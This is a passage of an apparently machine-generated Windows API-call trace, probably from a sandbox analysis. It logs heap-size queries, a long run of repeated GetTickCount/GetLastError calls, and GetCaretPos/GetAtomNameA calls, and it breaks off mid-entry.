!\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ»5\x02x\x9cþ\x18", lpUsedDefaultChar=0x0) returned 256 [0052.924] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x40920f) returned 0x0 [0052.925] RtlSizeHeap (HeapHandle=0x60f0000, Flags=0x0, MemoryPointer=0x60f2a98) returned 0x80 [0052.926] RtlSizeHeap (HeapHandle=0x60f0000, Flags=0x0, MemoryPointer=0x60f2a98) returned 0x80 [0052.927] RtlSizeHeap (HeapHandle=0x60f0000, Flags=0x0, MemoryPointer=0x60f2a98) returned 0x80 [0052.928] RtlSizeHeap (HeapHandle=0x60f0000, Flags=0x0, MemoryPointer=0x60f2a98) returned 0x80 [0052.928] RtlSizeHeap (HeapHandle=0x60f0000, Flags=0x0, MemoryPointer=0x60f2a98) returned 0x80 [0052.929] RtlSizeHeap (HeapHandle=0x60f0000, Flags=0x0, MemoryPointer=0x60f2a98) returned 0x80 [0052.930] RtlSizeHeap (HeapHandle=0x60f0000, Flags=0x0, MemoryPointer=0x60f2a98) returned 0x80 [0052.931] RtlSizeHeap (HeapHandle=0x60f0000, Flags=0x0, MemoryPointer=0x60f2a98) returned 0x80 [0052.931] RtlSizeHeap (HeapHandle=0x60f0000, Flags=0x0, MemoryPointer=0x60f2a98) returned 0x80 [0052.932] GetTickCount () returned 0x1147485 [0052.932] GetLastError () returned 0x0 [0052.932] GetTickCount () returned 0x1147485 [0052.932] GetLastError () returned 0x0 [0052.932] GetTickCount () returned 0x1147485 [0052.932] GetLastError () returned 0x0 [0052.932] GetTickCount () returned 0x1147485 [0052.932] GetLastError () returned 0x0 [0052.932] GetTickCount () returned 0x1147485 [0052.932] GetLastError () returned 0x0 [0052.932] GetTickCount () returned 0x1147485 [0052.932] GetLastError () returned 0x0 [0052.932] GetTickCount () returned 0x1147485 [0052.932] GetLastError () returned 0x0 [0052.933] GetTickCount () returned 0x1147485 [0052.933] GetLastError () returned 0x0 [0052.933] GetTickCount () returned 0x1147485 [0052.933] GetLastError () returned 0x0 [0052.933] GetTickCount () returned 0x1147485 [0052.933] GetLastError () returned 0x0 [0052.933] GetTickCount () returned 0x1147485 [0052.933] GetLastError () returned 0x0 [0052.933] GetTickCount () returned 0x1147485 [0052.933] GetLastError () returned 0x0 [0052.933] GetTickCount () returned 0x1147485 [0052.933] GetLastError () returned 0x0 [0052.933] GetTickCount () returned 0x1147485 [0052.933] GetLastError () returned 0x0 [0052.933] GetTickCount () returned 0x1147485 [0052.933] GetLastError () returned 0x0 [0052.933] GetTickCount () returned 0x1147485 [0052.933] GetLastError () returned 0x0 [0052.934] GetTickCount () returned 0x1147485 [0052.934] GetLastError () returned 0x0 [0052.934] GetTickCount () returned 0x1147485 [0052.934] GetLastError () returned 0x0 [0052.934] GetTickCount () returned 0x1147485 [0052.934] GetLastError () returned 0x0 [0052.934] GetTickCount () returned 0x1147485 [0052.934] GetLastError () returned 0x0 [0052.934] GetTickCount () returned 0x1147485 [0052.934] GetLastError () returned 0x0 [0052.934] GetTickCount () returned 0x1147485 [0052.934] GetLastError () returned 0x0 [0052.934] GetTickCount () returned 0x1147485 [0052.934] GetLastError () returned 0x0 [0052.934] GetTickCount () returned 0x1147485 [0052.934] GetLastError () returned 0x0 [0052.935] GetTickCount () returned 0x1147485 [0052.935] GetLastError () returned 0x0 [0052.935] GetTickCount () returned 0x1147485 [0052.935] GetLastError () returned 0x0 [0052.935] GetTickCount () returned 0x1147485 [0052.935] GetLastError () returned 0x0 [0052.935] GetTickCount () returned 0x1147485 [0052.935] GetLastError () returned 0x0 [0052.935] GetTickCount () returned 0x1147485 [0052.935] GetLastError () returned 0x0 [0052.935] GetTickCount () returned 0x1147485 [0052.935] GetLastError () returned 0x0 [0052.935] GetTickCount () returned 0x1147485 [0052.935] GetLastError () returned 0x0 [0052.936] GetTickCount () returned 0x1147485 [0052.936] GetLastError () returned 0x0 [0052.936] GetTickCount () returned 0x1147485 [0052.936] GetLastError () returned 0x0 [0052.936] GetTickCount () returned 0x1147485 [0052.936] GetLastError () returned 0x0 [0052.936] GetTickCount () returned 0x1147485 [0052.936] GetLastError () returned 0x0 [0052.936] GetTickCount () returned 0x1147485 [0052.936] GetLastError () returned 0x0 [0052.936] GetTickCount () returned 0x1147485 [0052.936] GetLastError () returned 0x0 [0052.936] GetTickCount () returned 0x1147485 [0052.936] GetLastError () returned 0x0 [0052.936] GetTickCount () returned 0x1147485 [0052.936] GetLastError () returned 0x0 [0052.936] GetTickCount () returned 0x1147485 [0052.936] GetLastError () returned 0x0 [0052.936] GetTickCount () returned 0x1147485 [0052.937] GetLastError () returned 0x0 [0052.937] GetTickCount () returned 0x1147485 [0052.937] GetLastError () returned 0x0 [0052.937] GetTickCount () returned 0x1147485 [0052.937] GetLastError () returned 0x0 [0052.937] GetTickCount () returned 0x1147485 [0052.937] GetLastError () returned 0x0 [0052.937] GetTickCount () returned 0x1147485 [0052.937] GetLastError () returned 0x0 [0052.937] GetTickCount () returned 0x1147485 [0052.937] GetLastError () returned 0x0 [0052.937] GetTickCount () returned 0x1147485 [0052.937] GetLastError () returned 0x0 [0052.937] GetTickCount () returned 0x1147485 [0052.937] GetLastError () returned 0x0 [0052.937] GetTickCount () returned 0x1147485 [0052.938] GetLastError () returned 0x0 [0052.938] GetTickCount () returned 0x1147485 [0052.938] GetLastError () returned 0x0 [0052.938] GetTickCount () returned 0x1147485 [0052.938] GetLastError () returned 0x0 [0052.938] GetTickCount () returned 0x1147485 [0052.938] GetLastError () returned 0x0 [0052.938] GetTickCount () returned 0x1147485 [0052.938] GetLastError () returned 0x0 [0052.938] GetTickCount () returned 0x1147485 [0052.938] GetLastError () returned 0x0 [0052.938] GetTickCount () returned 0x1147485 [0052.938] GetLastError () returned 0x0 [0052.938] GetTickCount () returned 0x1147485 [0052.938] GetLastError () returned 0x0 [0052.938] GetTickCount () returned 0x1147485 [0052.939] GetLastError () returned 0x0 [0052.939] GetTickCount () returned 0x1147485 [0052.939] GetLastError () returned 0x0 [0052.939] GetTickCount () returned 0x1147485 [0052.939] GetLastError () returned 0x0 [0052.939] GetTickCount () returned 0x1147485 [0052.939] GetLastError () returned 0x0 [0052.939] GetTickCount () returned 0x1147485 [0052.939] GetLastError () returned 0x0 [0052.939] GetTickCount () returned 0x1147485 [0052.939] GetLastError () returned 0x0 [0052.939] GetTickCount () returned 0x1147485 [0052.939] GetLastError () returned 0x0 [0052.939] GetTickCount () returned 0x1147485 [0052.939] GetLastError () returned 0x0 [0052.940] GetTickCount () returned 0x1147485 [0052.940] GetLastError () returned 0x0 [0052.940] GetTickCount () returned 0x1147485 [0052.940] GetLastError () returned 0x0 [0052.940] GetTickCount () returned 0x1147485 [0052.940] GetLastError () returned 0x0 [0052.940] GetTickCount () returned 0x1147485 [0052.940] GetLastError () returned 0x0 [0052.940] GetTickCount () returned 0x1147485 [0052.940] GetLastError () returned 0x0 [0052.940] GetTickCount () returned 0x1147485 [0052.940] GetLastError () returned 0x0 [0052.940] GetTickCount () returned 0x1147485 [0052.940] GetLastError () returned 0x0 [0052.940] GetTickCount () returned 0x1147485 [0052.940] GetLastError () returned 0x0 [0052.940] GetTickCount () returned 0x1147485 [0052.940] GetLastError () returned 0x0 [0052.941] GetTickCount () returned 0x1147485 [0052.941] GetLastError () returned 0x0 [0052.941] GetTickCount () returned 0x1147485 [0052.941] GetLastError () returned 0x0 [0052.941] GetTickCount () returned 0x1147485 [0052.941] GetLastError () returned 0x0 [0052.941] GetTickCount () returned 0x1147485 [0052.941] GetLastError () returned 0x0 [0052.941] GetTickCount () returned 0x1147485 [0052.941] GetLastError () returned 0x0 [0052.941] GetTickCount () returned 0x1147485 [0052.941] GetLastError () returned 0x0 [0052.941] GetTickCount () returned 0x1147485 [0052.941] GetLastError () returned 0x0 [0052.941] GetTickCount () returned 0x1147485 [0052.942] GetLastError () returned 0x0 [0052.942] GetTickCount () returned 0x1147485 [0052.942] GetLastError () returned 0x0 [0052.942] GetTickCount () returned 0x1147485 [0052.942] GetLastError () returned 0x0 [0052.942] GetTickCount () returned 0x1147485 [0052.942] GetLastError () returned 0x0 [0052.942] GetTickCount () returned 0x1147485 [0052.942] GetLastError () returned 0x0 [0052.942] GetTickCount () returned 0x1147485 [0052.942] GetLastError () returned 0x0 [0052.942] GetTickCount () returned 0x1147485 [0052.942] GetLastError () returned 0x0 [0052.942] GetTickCount () returned 0x1147485 [0052.942] GetLastError () returned 0x0 [0052.942] GetTickCount () returned 0x1147485 [0052.943] GetLastError () returned 0x0 [0052.943] GetTickCount () returned 0x1147485 [0052.943] GetLastError () returned 0x0 [0052.943] GetTickCount () returned 0x1147485 [0052.943] GetLastError () returned 0x0 [0052.943] GetTickCount () returned 0x1147485 [0052.943] GetLastError () returned 0x0 [0052.943] GetTickCount () returned 0x1147485 [0052.943] GetLastError () returned 0x0 [0052.943] GetTickCount () returned 0x1147494 [0052.943] GetLastError () returned 0x0 [0052.943] GetTickCount () returned 0x1147494 [0052.943] GetLastError () returned 0x0 [0052.943] GetTickCount () returned 0x1147494 [0052.943] GetLastError () returned 0x0 [0052.944] GetTickCount () returned 0x1147494 [0052.944] GetLastError () returned 0x0 [0052.944] GetTickCount () returned 0x1147494 [0052.944] GetLastError () returned 0x0 [0052.944] GetTickCount () returned 0x1147494 [0052.944] GetLastError () returned 0x0 [0052.944] GetTickCount () returned 0x1147494 [0052.944] GetLastError () returned 0x0 [0052.944] GetTickCount () returned 0x1147494 [0052.944] GetLastError () returned 0x0 [0052.944] GetTickCount () returned 0x1147494 [0052.944] GetLastError () returned 0x0 [0052.944] GetTickCount () returned 0x1147494 [0052.944] GetLastError () returned 0x0 [0052.944] GetTickCount () returned 0x1147494 [0052.944] GetLastError () returned 0x0 [0052.945] GetTickCount () returned 0x1147494 [0052.945] GetLastError () returned 0x0 [0052.945] GetTickCount () returned 0x1147494 [0052.945] GetLastError () returned 0x0 [0052.945] GetTickCount () returned 0x1147494 [0052.945] GetLastError () returned 0x0 [0052.945] GetTickCount () returned 0x1147494 [0052.945] GetLastError () returned 0x0 [0052.945] GetTickCount () returned 0x1147494 [0052.945] GetLastError () returned 0x0 [0052.945] GetTickCount () returned 0x1147494 [0052.945] GetLastError () returned 0x0 [0052.945] GetTickCount () returned 0x1147494 [0052.945] GetLastError () returned 0x0 [0052.945] GetTickCount () returned 0x1147494 [0052.946] GetLastError () returned 0x0 [0052.946] GetTickCount () returned 0x1147494 [0052.946] GetLastError () returned 0x0 [0052.946] GetTickCount () returned 0x1147494 [0052.946] GetLastError () returned 0x0 [0052.946] GetTickCount () returned 0x1147494 [0052.946] GetLastError () returned 0x0 [0052.946] GetTickCount () returned 0x1147494 [0052.946] GetLastError () returned 0x0 [0052.946] GetTickCount () returned 0x1147494 [0052.946] GetLastError () returned 0x0 [0052.946] GetTickCount () returned 0x1147494 [0052.946] GetLastError () returned 0x0 [0052.946] GetTickCount () returned 0x1147494 [0052.946] GetLastError () returned 0x0 [0052.946] GetTickCount () returned 0x1147494 [0052.947] GetLastError () returned 0x0 [0052.947] GetTickCount () returned 0x1147494 [0052.947] GetLastError () returned 0x0 [0052.947] GetTickCount () returned 0x1147494 [0052.947] GetLastError () returned 0x0 [0052.947] GetTickCount () returned 0x1147494 [0052.947] GetLastError () returned 0x0 [0052.947] GetTickCount () returned 0x1147494 [0052.947] GetLastError () returned 0x0 [0052.947] GetTickCount () returned 0x1147494 [0052.947] GetLastError () returned 0x0 [0052.947] GetTickCount () returned 0x1147494 [0052.947] GetLastError () returned 0x0 [0052.947] GetTickCount () returned 0x1147494 [0052.947] GetLastError () returned 0x0 [0052.948] GetTickCount () returned 0x1147494 [0052.948] GetLastError () returned 0x0 [0052.948] GetTickCount () returned 0x1147494 [0052.948] GetLastError () returned 0x0 [0052.948] GetTickCount () returned 0x1147494 [0052.948] GetLastError () returned 0x0 [0052.948] GetTickCount () returned 0x1147494 [0052.948] GetLastError () returned 0x0 [0052.948] GetTickCount () returned 0x1147494 [0052.948] GetLastError () returned 0x0 [0052.948] GetTickCount () returned 0x1147494 [0052.948] GetLastError () returned 0x0 [0052.948] GetTickCount () returned 0x1147494 [0052.948] GetLastError () returned 0x0 [0052.948] GetTickCount () returned 0x1147494 [0052.949] GetLastError () returned 0x0 [0052.949] GetTickCount () returned 0x1147494 [0052.949] GetLastError () returned 0x0 [0052.949] GetTickCount () returned 0x1147494 [0052.949] GetLastError () returned 0x0 [0052.949] GetTickCount () returned 0x1147494 [0052.949] GetLastError () returned 0x0 [0052.949] GetTickCount () returned 0x1147494 [0052.949] GetLastError () returned 0x0 [0052.949] GetTickCount () returned 0x1147494 [0052.949] GetLastError () returned 0x0 [0052.949] GetTickCount () returned 0x1147494 [0052.949] GetLastError () returned 0x0 [0052.950] GetTickCount () returned 0x1147494 [0052.950] GetLastError () returned 0x0 [0052.950] GetTickCount () returned 0x1147494 [0052.950] GetLastError () returned 0x0 [0052.950] GetTickCount () returned 0x1147494 [0052.950] GetLastError () returned 0x0 [0052.950] GetTickCount () returned 0x1147494 [0052.950] GetLastError () returned 0x0 [0052.950] GetTickCount () returned 0x1147494 [0052.950] GetLastError () returned 0x0 [0052.950] GetTickCount () returned 0x1147494 [0052.950] GetLastError () returned 0x0 [0052.950] GetTickCount () returned 0x1147494 [0052.950] GetLastError () returned 0x0 [0052.951] GetTickCount () returned 0x1147494 [0052.951] GetLastError () returned 0x0 [0052.951] GetTickCount () returned 0x1147494 [0052.951] GetLastError () returned 0x0 [0052.951] GetTickCount () returned 0x1147494 [0052.951] GetLastError () returned 0x0 [0052.951] GetTickCount () returned 0x1147494 [0052.951] GetLastError () returned 0x0 [0052.951] GetTickCount () returned 0x1147494 [0052.951] GetLastError () returned 0x0 [0052.951] GetTickCount () returned 0x1147494 [0052.951] GetLastError () returned 0x0 [0052.951] GetTickCount () returned 0x1147494 [0052.951] GetLastError () returned 0x0 [0052.951] GetTickCount () returned 0x1147494 [0052.951] GetLastError () returned 0x0 [0052.951] GetTickCount () returned 0x1147494 [0052.951] GetLastError () returned 0x0 [0052.952] GetTickCount () returned 0x1147494 [0052.952] GetLastError () returned 0x0 [0052.952] GetTickCount () returned 0x1147494 [0052.952] GetLastError () returned 0x0 [0052.952] GetTickCount () returned 0x1147494 [0052.952] GetLastError () returned 0x0 [0052.952] GetTickCount () returned 0x1147494 [0052.952] GetLastError () returned 0x0 [0052.952] GetTickCount () returned 0x1147494 [0052.952] GetLastError () returned 0x0 [0052.952] GetTickCount () returned 0x1147494 [0052.952] GetLastError () returned 0x0 [0052.952] GetTickCount () returned 0x1147494 [0052.952] GetLastError () returned 0x0 [0052.952] GetTickCount () returned 0x1147494 [0052.952] GetLastError () returned 0x0 [0052.952] GetTickCount () returned 0x1147494 [0052.953] GetLastError () returned 0x0 [0052.953] GetTickCount () returned 0x1147494 [0052.953] GetLastError () returned 0x0 [0052.953] GetTickCount () returned 0x1147494 [0052.953] GetLastError () returned 0x0 [0052.953] GetTickCount () returned 0x1147494 [0052.953] GetLastError () returned 0x0 [0052.953] GetTickCount () returned 0x1147494 [0052.953] GetLastError () returned 0x0 [0052.953] GetTickCount () returned 0x1147494 [0052.953] GetLastError () returned 0x0 [0052.953] GetTickCount () returned 0x1147494 [0052.953] GetLastError () returned 0x0 [0052.953] GetTickCount () returned 0x1147494 [0052.953] GetLastError () returned 0x0 [0052.953] GetTickCount () returned 0x1147494 [0052.953] GetLastError () returned 0x0 [0052.954] GetTickCount () returned 0x1147494 [0052.954] GetLastError () returned 0x0 [0052.954] GetTickCount () returned 0x1147494 [0052.954] GetLastError () returned 0x0 [0052.954] GetTickCount () returned 0x1147494 [0052.954] GetLastError () returned 0x0 [0052.954] GetTickCount () returned 0x1147494 [0052.954] GetLastError () returned 0x0 [0052.954] GetTickCount () returned 0x1147494 [0052.954] GetLastError () returned 0x0 [0052.954] GetTickCount () returned 0x1147494 [0052.954] GetLastError () returned 0x0 [0052.954] GetTickCount () returned 0x1147494 [0052.954] GetLastError () returned 0x0 [0052.954] GetTickCount () returned 0x1147494 [0052.954] GetLastError () returned 0x0 [0052.954] GetTickCount () returned 0x1147494 [0052.955] GetLastError () returned 0x0 [0052.955] GetTickCount () returned 0x1147494 [0052.955] GetLastError () returned 0x0 [0052.955] GetTickCount () returned 0x1147494 [0052.955] GetLastError () returned 0x0 [0052.955] GetTickCount () returned 0x1147494 [0052.955] GetLastError () returned 0x0 [0052.955] GetTickCount () returned 0x1147494 [0052.955] GetLastError () returned 0x0 [0052.955] GetTickCount () returned 0x1147494 [0052.955] GetLastError () returned 0x0 [0052.955] GetTickCount () returned 0x1147494 [0052.955] GetLastError () returned 0x0 [0052.955] GetTickCount () returned 0x1147494 [0052.955] GetLastError () returned 0x0 [0052.955] GetTickCount () returned 0x1147494 [0052.956] GetLastError () returned 0x0 [0052.956] GetTickCount () returned 0x1147494 [0052.956] GetLastError () returned 0x0 [0052.956] GetTickCount () returned 0x1147494 [0052.956] GetLastError () returned 0x0 [0052.956] GetTickCount () returned 0x1147494 [0052.956] GetLastError () returned 0x0 [0052.956] GetTickCount () returned 0x1147494 [0052.956] GetLastError () returned 0x0 [0052.956] GetTickCount () returned 0x1147494 [0052.956] GetLastError () returned 0x0 [0052.956] GetTickCount () returned 0x1147494 [0052.956] GetLastError () returned 0x0 [0052.956] GetTickCount () returned 0x1147494 [0052.957] GetLastError () returned 0x0 [0052.957] GetTickCount () returned 0x1147494 [0052.957] GetLastError () returned 0x0 [0052.957] GetTickCount () returned 0x1147494 [0052.957] GetLastError () returned 0x0 [0052.957] GetTickCount () returned 0x1147494 [0052.957] GetLastError () returned 0x0 [0052.957] GetTickCount () returned 0x1147494 [0052.957] GetLastError () returned 0x0 [0052.957] GetTickCount () returned 0x1147494 [0052.957] GetLastError () returned 0x0 [0052.957] GetTickCount () returned 0x1147494 [0052.957] GetLastError () returned 0x0 [0052.957] GetTickCount () returned 0x1147494 [0052.957] GetLastError () returned 0x0 [0052.957] GetTickCount () returned 0x1147494 [0052.958] GetLastError () returned 0x0 [0052.958] GetTickCount () returned 0x1147494 [0052.958] GetLastError () returned 0x0 [0052.958] GetTickCount () returned 0x1147494 [0052.958] GetLastError () returned 0x0 [0052.958] GetTickCount () returned 0x1147494 [0052.958] GetLastError () returned 0x0 [0052.958] GetTickCount () returned 0x1147494 [0052.958] GetLastError () returned 0x0 [0052.958] GetTickCount () returned 0x1147494 [0052.958] GetLastError () returned 0x0 [0052.958] GetTickCount () returned 0x1147494 [0052.958] GetLastError () returned 0x0 [0052.958] GetTickCount () returned 0x1147494 [0052.959] GetLastError () returned 0x0 [0052.959] GetTickCount () returned 0x11474b3 [0052.979] GetLastError () returned 0x0 [0052.979] GetTickCount () returned 0x11474b3 [0052.979] GetLastError () returned 0x0 [0052.979] GetTickCount () returned 0x11474b3 [0052.979] GetLastError () returned 0x0 [0052.979] GetTickCount () returned 0x11474b3 [0052.979] GetLastError () returned 0x0 [0052.980] GetTickCount () returned 0x11474b3 [0052.980] GetLastError () returned 0x0 [0052.980] GetTickCount () returned 0x11474b3 [0052.980] GetLastError () returned 0x0 [0052.980] GetTickCount () returned 0x11474b3 [0052.980] GetLastError () returned 0x0 [0052.980] GetTickCount () returned 0x11474b3 [0052.980] GetLastError () returned 0x0 [0052.980] GetTickCount () returned 0x11474b3 [0052.980] GetLastError () returned 0x0 [0052.980] GetTickCount () returned 0x11474b3 [0052.980] GetLastError () returned 0x0 [0052.980] GetTickCount () returned 0x11474b3 [0052.980] GetLastError () returned 0x0 [0052.980] GetTickCount () returned 0x11474b3 [0052.981] GetLastError () returned 0x0 [0052.981] GetTickCount () returned 0x11474b3 [0052.981] GetLastError () returned 0x0 [0052.981] GetTickCount () returned 0x11474b3 [0052.981] GetLastError () returned 0x0 [0052.981] GetTickCount () returned 0x11474b3 [0052.981] GetLastError () returned 0x0 [0052.981] GetTickCount () returned 0x11474b3 [0052.981] GetLastError () returned 0x0 [0052.981] GetTickCount () returned 0x11474b3 [0052.981] GetLastError () returned 0x0 [0052.981] GetTickCount () returned 0x11474b3 [0052.981] GetLastError () returned 0x0 [0052.981] GetTickCount () returned 0x11474b3 [0052.981] GetLastError () returned 0x0 [0052.982] GetTickCount () returned 0x11474b3 [0052.982] GetLastError () returned 0x0 [0052.982] GetTickCount () returned 0x11474b3 [0052.982] GetLastError () returned 0x0 [0052.982] GetTickCount () returned 0x11474b3 [0052.982] GetLastError () returned 0x0 [0052.982] GetTickCount () returned 0x11474b3 [0052.982] GetLastError () returned 0x0 [0052.982] GetTickCount () returned 0x11474b3 [0052.982] GetLastError () returned 0x0 [0052.982] GetTickCount () returned 0x11474b3 [0052.982] GetLastError () returned 0x0 [0052.982] GetTickCount () returned 0x11474b3 [0052.982] GetLastError () returned 0x0 [0052.983] GetTickCount () returned 0x11474b3 [0052.983] GetLastError () returned 0x0 [0052.983] GetTickCount () returned 0x11474b3 [0052.983] GetLastError () returned 0x0 [0052.983] GetTickCount () returned 0x11474b3 [0052.983] GetLastError () returned 0x0 [0052.983] GetTickCount () returned 0x11474b3 [0052.983] GetLastError () returned 0x0 [0052.983] GetTickCount () returned 0x11474b3 [0052.983] GetLastError () returned 0x0 [0052.983] GetTickCount () returned 0x11474b3 [0052.983] GetLastError () returned 0x0 [0052.983] GetTickCount () returned 0x11474b3 [0052.983] GetLastError () returned 0x0 [0052.983] GetTickCount () returned 0x11474b3 [0052.984] GetLastError () returned 0x0 [0052.984] GetTickCount () returned 0x11474b3 [0052.984] GetLastError () returned 0x0 [0052.984] GetTickCount () returned 0x11474b3 [0052.984] GetLastError () returned 0x0 [0053.228] lstrlenA (lpString="") returned 0 [0053.228] GetCaretPos (in: lpPoint=0x18f27c | out: lpPoint=0x18f27c) returned 1 [0053.229] GetAtomNameA (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0053.230] GetCaretPos (in: lpPoint=0x18f27c | out: lpPoint=0x18f27c) returned 1 [0053.230] GetAtomNameA (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0053.230] GetCaretPos (in: lpPoint=0x18f27c | out: lpPoint=0x18f27c) returned 1 [0053.230] GetAtomNameA (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0053.230] GetCaretPos (in: lpPoint=0x18f27c | out: lpPoint=0x18f27c) returned 1 [0053.230] GetAtomNameA (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0053.230] GetCaretPos (in: lpPoint=0x18f27c | out: lpPoint=0x18f27c) returned 1 [0053.230] GetAtomNameA (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0053.230] GetCaretPos (in: lpPoint=0x18f27c | out: lpPoint=0x18f27c) returned 1 [0053.230] GetAtomNameA (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0053.230] GetCaretPos (in: lpPoint=0x18f27c | out: lpPoint=0x18f27c) returned 1 [0053.231] GetAtomNameA (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0053.231] GetCaretPos (in: lpPoint=0x18f27c | out: lpPoint=0x18f27c) returned 1 [0053.231] GetAtomNameA (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0053.231] GetCaretPos (in: lpPoint=0x18f27c | out: lpPoint=0x18f27c) returned 1 [0053.231] GetAtomNameA (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0053.231] GetCaretPos (in: lpPoint=0x18f27c | out: lpPoint=0x18f27c) returned 1 [0053.231] GetAtomNameA (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0053.231] GetCaretPos (in: lpPoint=0x18f27c | out: lpPoint=0x18f27c) returned 1 [0053.231] GetAtomNameA (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0053.231] GetCaretPos (in: lpPoint=0x18f27c | out: lpPoint=0x18f27c) returned 1 [0053.231] GetAtomNameA (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0053.231] GetCaretPos (in: lpPoint=0x18f27c | out: lpPoint=0x18f27c) returned 1 [0053.231] GetAtomNameA (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0053.231] GetCaretPos (in: lpPoint=0x18f27c | out: lpPoint=0x18f27c) returned 1 [0053.232] GetAtomNameA (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0053.232] GetCaretPos (in: lpPoint=0x18f27c | out: lpPoint=0x18f27c) returned 1 [0053.232] GetAtomNameA (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0053.232] GetCaretPos (in: lpPoint=0x18f27c | out: lpPoint=0x18f27c) returned 1 [0053.232] GetAtomNameA (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0053.232] GetCaretPos (in: lpPoint=0x18f27c | out: lpPoint=0x18f27c) returned 1 [0053.232] GetAtomNameA (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0053.232] GetCaretPos (in: lpPoint=0x18f27c | out: lpPoint=0x18f27c) returned 1 [0053.232] GetAtomNameA (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0053.232] GetCaretPos (in: lpPoint=0x18f27c | out: lpPoint=0x18f27c) returned 1 [0053.232] GetAtomNameA (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0053.232] GetCaretPos (in: lpPoint=0x18f27c | out: lpPoint=0x18f27c) returned 1 [0053.232] GetAtomNameA (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0053.232] GetCaretPos (in: lpPoint=0x18f27c | out: lpPoint=0x18f27c) returned 1 [0053.232] GetAtomNameA (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0053.232] GetCaretPos (in: lpPoint=0x18f27c | out: lpPoint=0x18f27c) returned 1 [0053.232] GetAtomNameA (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0053.232] GetCaretPos (in: lpPoint=0x18f27c | out: lpPoint=0x18f27c) returned 1 [0053.233] GetAtomNameA (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0053.233] GetCaretPos (in: lpPoint=0x18f27c | out: lpPoint=0x18f27c) returned 1 [0053.233] GetAtomNameA (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0053.233] GetCaretPos (in: lpPoint=0x18f27c | out: lpPoint=0x18f27c) returned 1 [0053.233] GetAtomNameA (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0053.233] GetCaretPos (in: lpPoint=0x18f27c | out: lpPoint=0x18f27c) returned 1 [0053.233] GetAtomNameA (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0053.233] GetCaretPos (in: lpPoint=0x18f27c | out: lpPoint=0x18f27c) returned 1 [0053.233] GetAtomNameA (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0053.233] GetCaretPos (in: lpPoint=0x18f27c | out: lpPoint=0x18f27c) returned 1 [0053.233] GetAtomNameA (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0053.233] GetCaretPos (in: lpPoint=0x18f27c | out: lpPoint=0x18f27c) returned 1 [0053.233] GetAtomNameA (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0053.233] GetCaretPos (in: lpPoint=0x18f27c | out: lpPoint=0x18f27c) returned 1 [0053.233] GetAtomNameA (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0053.234] GetCaretPos (in: lpPoint=0x18f27c | out: lpPoint=0x18f27c) returned 1 [0053.234] GetAtomNameA (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0053.234] GetCaretPos (in: lpPoint=0x18f27c | out: lpPoint=0x18f27c) returned 1 [0053.234] GetAtomNameA (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0053.234] GetCaretPos (in: lpPoint=0x18f27c | out: lpPoint=0x18f27c) returned 1 [0053.234] GetAtomNameA (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0053.234] GetCaretPos (in: lpPoint=0x18f27c | 